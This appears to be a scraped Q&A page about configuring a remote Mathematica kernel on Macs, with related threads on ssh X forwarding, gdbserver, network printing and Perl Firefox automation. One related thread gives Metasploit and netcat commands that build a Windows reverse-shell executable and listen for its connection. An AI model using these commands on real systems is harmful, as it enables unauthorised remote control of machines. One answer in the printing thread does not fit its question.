mathematica remote kernel on macs - wolfram-mathematica

I am trying to run a remote mathematica kernel between two macs.
Under Kernel Configuration Options
For kernel program I have:
/Applications/Mathematica.app/Contents/MacOS/MathKernel
The arguments of MLOpen:
-LinkMode Listen
-LinkProtocol TCPIP
-LinkOptions MLDontInteract
The launch command is:
java -jar mathssh username#xxxxxx.dynamic.uiowa.edu /usr/local/bin/math -mathlink -LinkMode
Connect -LinkProtocol TCPIP -LinkName "linkname" -LinkHost ipaddress
When i use this remote kernel (for instance 2+2 does not give a result) I get the error message:
"The kernel Thomas Machine failed to connect to the front end. (Error = MLECONNECT). You should try running the kernel connection outside the front end."
It seems that Mathematica is not even opening on the remote machine since I used "top" and do not see it running after I start the remote kernel.
Any help would be greatly appreciated.

I just tried this with 8.0.1 -- here's my config (with bogus machine/user names):
In particular the /usr/local/bin/math looks suspicious. You generally shouldn't need to use the advanced settings.
Drop to a command line and try:
ssh username#xxxxxx.dynamic.uiowa.edu /usr/local/bin/math
and see if you get a Mathematica prompt and can evaluate 1+1 there.

Related

GUI programs won't open in an ssh server. ssh -X and downloading XQuartz have not helped

So I use a remote server for some of my schoolwork and have no trouble logging onto the machine and navigating. The problem arises when I attempt to run a software that uses a GUI called ds9. It's used for image processing but I don't think that is relevant. Anyways, I've tried ssh -X username#university.edu, I've downloaded XQuartz, and I've made sure XQuartz's Security preferences are all checked. Still, I receive the same error message: Application initialization failed: no display name and no $DISPLAY environment variable
Unable to initialize window system.
I would be extremely grateful if anybody could identify the issue.
It may happened that you set a wrong DISPLAY env. var. at login time on the server. In general, ssh -X set the value to something like DISPLAY=localhost:10.0 (a tunnel set up by ssh in between your server and your local machine).

Cannot start GDBserver using a serial connection

I'm running a small test program on an embedded Linux target (a Freescale i.MX25), which I'd like to debug using GDB. I connect to the system using an FTDI USB-RS232 cable through am Ubuntu VM. GDBserver is installed on the target. I do not have Ethernet or USB support on the target, so I'm trying to use GDB over serial.
When I log into the target using Minicom, I get:
login[1691]: root login on 'ttymxc0'
which I presume means that the console is using ttymxc0. Then, I try to start GDBserver listening for connections from the VM to the test program, residing in /home:
$ cd /home
$ gdbserver /dev/ttymxc0 test
which gives the output (repeatedly):
Remote debugging using /dev/ttymxc0
readchar: Socket operation on non-socket
Remote side has terminated connection. GDBserver will reopen the connection
Is this an error in the way I'm trying to use GDBserver, or something else? Is there another way to debug the program?
You can not use ttymxc0 for two things at the same time (serial console and serial gdb). Disable the getty on that serial line and replace it by the gdbserver.

Standalone multi/handler reverse_tcp

Sorry for my english.
Using metasploit I generated an exploit for windows 7 with windows/shell/reverse_tcp payload.
Then I waiting connection using msfconsole:
use exploit/multi/handler
set PAYLOAD windows/shell/reverse_tcp
set LHOST 192.168.182.129
set LPORT 4444
exploit
I am successfully connected to command line of windows.
However I need to expect connection without using metasploit. I found how to create standalone module, but it was only for an exploit.
I need standalone multi/handler reverse_tcp or simply the code which listens to a certain port and then gives access to command line.
I don't really know what your constraints/restrictions are.
My guess is that, you want to "receive shells" on a computer without metasploit installed on it.If that's the case, you could use msfd(metasploit daemon installed on a different computer) or simply netcat,socat,...
What do you think of this:
listening with netcat on 192.168.1.2# nc -l -p 4444
Using a shell_reverse_tcp instead# msfpayload windows/shell_reverse_tcp LHOST=192.168.1.2 LPORT=4444 X /root/darkbird.exe
Execute darkbird.exe on the target

"Unable to initialize device" sending print command to shared printer

From a Windows 2008 R2 Service Pack 1 Server I have a problem sending a print command to a network host running Windows 7 Professional which shares a printer with the network. The command I execute is the following:
> print /D:\\<hostname>\<printer_sharename> <filename>
and it doesn't work. The response is:
Unable to initialize device \\<hostname>\<printer_sharname>
If I try to execute the following command
> print /D:\\<host'sipaddress>\<printer_sharename> <filename>
from the Windows Server it works.
If I execute the command with the hostname from any other machine in the network it works.
I thought it could be a DNS problem, so I tried to check hostname with nslookup but it works, DNS server give me the right IP address.
I would use hostname instead of IP address because Microsoft Reference say to use \\ServerName\PrinterName https://technet.microsoft.com/en-us/library/cc731623.aspx
Why I'm having this behavior? Any ideas?
Thanks a lot everyone.
Analyzing the problem, there were many other problems connected to the hostname of that windows 7 machine: for example, Windows shares weren't accessible from any workstation although ping worked fine.
After many hours of tries, I resolved by changing hostname of the machine of the shared printer.
Now everything works and I can print correctly from every other computer of the network.
You should be using echo instead of print to write to the console.

How to get WWW::Mechanize::Firefox working on OS X -- change ports?

I've installed the mozrepl add-on in Firefox for Mac OS X, but any attempt to use WWW::Mechanize::Firefox fails in new() with the message
Failed to connect to , pattern match timed-out at /Library/Perl/5.10.0/MozRepl/Client.pm line 151
My speculation is that it has to do with mozrepl's default port, 4242. If in Terminal I type
telnet LOCALHOST 4242
I get garbage and no repl prompt. On the other hand if I tell mozrepl to use port 4241 and telnet to that port, I do not get garbage and I do get the repl prompt. I think my backup software, CrashPlan, is using 4242.
But if this is indeed the problem, and if I need to tell WWW::Mechanize::Firefox to use a different port, I can't figure out how to do so.
Try
$ENV{MOZREPL} = 'localhost:4241';
as per perldoc MozRepl::RemoteObject
FWIW, as old as this question is, this was the right answer for me tonight: How do you give WWW::Mechanize::Firefox permission to launch Firefox? I link it here because this was what I found first from Google and the ENV answer was not efficacious.

Resources